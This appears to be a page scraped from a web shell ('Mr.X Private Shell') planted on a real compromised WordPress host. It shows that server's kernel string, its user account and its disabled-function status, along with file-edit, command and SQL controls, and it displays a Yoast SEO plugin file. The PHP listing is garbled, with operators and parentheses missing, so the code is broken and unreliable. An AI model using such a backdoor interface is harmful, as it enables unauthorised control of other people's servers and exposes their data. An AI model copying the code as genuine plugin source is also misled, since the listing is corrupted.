Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/wp-content/plugins/////wordpress-seo///lib      ( Reset | Go to )
File Name: abstract-main.php
Edit
<?php

namespace Yoast\WP\Lib;

use 
Exception;
use 
Yoast\WP\Lib\Dependency_Injection\Container_Registry;
use 
Yoast\WP\SEO\Loader;
use 
YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Abstract class to extend for the main class in a plugin.
 */
abstract class Abstract_Main {

    
/**
     * The DI container.
     *
     * @var ContainerInterface|null
     */
    
protected $container;

    
/**
     * Loads the plugin.
     *
     * @throws Exception If loading fails and YOAST_ENVIRONMENT is development.
     */
    
public function load() {
        if ( 
$this->container ) {
            return;
        }

        try {
            
$this->container $this->get_container();
            
Container_Registry::register$this->get_name(), $this->container );

            if ( ! 
$this->container ) {
                return;
            }
            if ( ! 
$this->container->hasLoader::class ) ) {
                return;
            }

            
$this->container->getLoader::class )->load();
        } catch ( 
Exception $e ) {
            if ( 
$this->is_development() ) {
                throw 
$e;
            }
            
// Don't crash the entire site, simply don't load.
        
}
    }

    
/**
     * Magic getter for retrieving a property.
     *
     * @param string $property The property to retrieve.
     *
     * @return string The value of the property.
     *
     * @throws Exception When the property doesn't exist.
     */
    
public function __get$property ) {
        
$surfaces $this->get_surfaces();

        if ( isset( 
$surfaces$property ] ) ) {
            
$this->{$property} = $this->container->get$surfaces$property ] );

            return 
$this->{$property};
        }
        throw new 
Exception"Property $property does not exist." );
    }

    
/**
     * Checks if the given property exists as a surface.
     *
     * @param string $property The property to retrieve.
     *
     * @return bool True when property is set.
     */
    
public function __isset$property ) {
        return isset( 
$this->surfaces$property ] );
    }

    
/**
     * Loads the DI container.
     *
     * @return ContainerInterface|null The DI container.
     *
     * @throws Exception If something goes wrong generating the DI container.
     */
    
abstract protected function get_container();

    
/**
     * Gets the name of the plugin.
     *
     * @return string The name.
     */
    
abstract protected function get_name();

    
/**
     * Gets the surfaces of this plugin.
     *
     * @return array A mapping of surface name to the responsible class.
     */
    
abstract protected function get_surfaces();

    
/**
     * Returns whether or not we're in an environment for Yoast development.
     *
     * @return bool Whether or not to load in development mode.
     */
    
protected function is_development() {
        try {
            return \
WPSEO_Utils::is_development_mode();
        }
        catch ( \
Exception $exception ) {
            
// E.g. when WordPress and/or WordPress SEO are not loaded.
            
return \defined'YOAST_ENVIRONMENT' ) && \YOAST_ENVIRONMENT === 'development';
        }
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL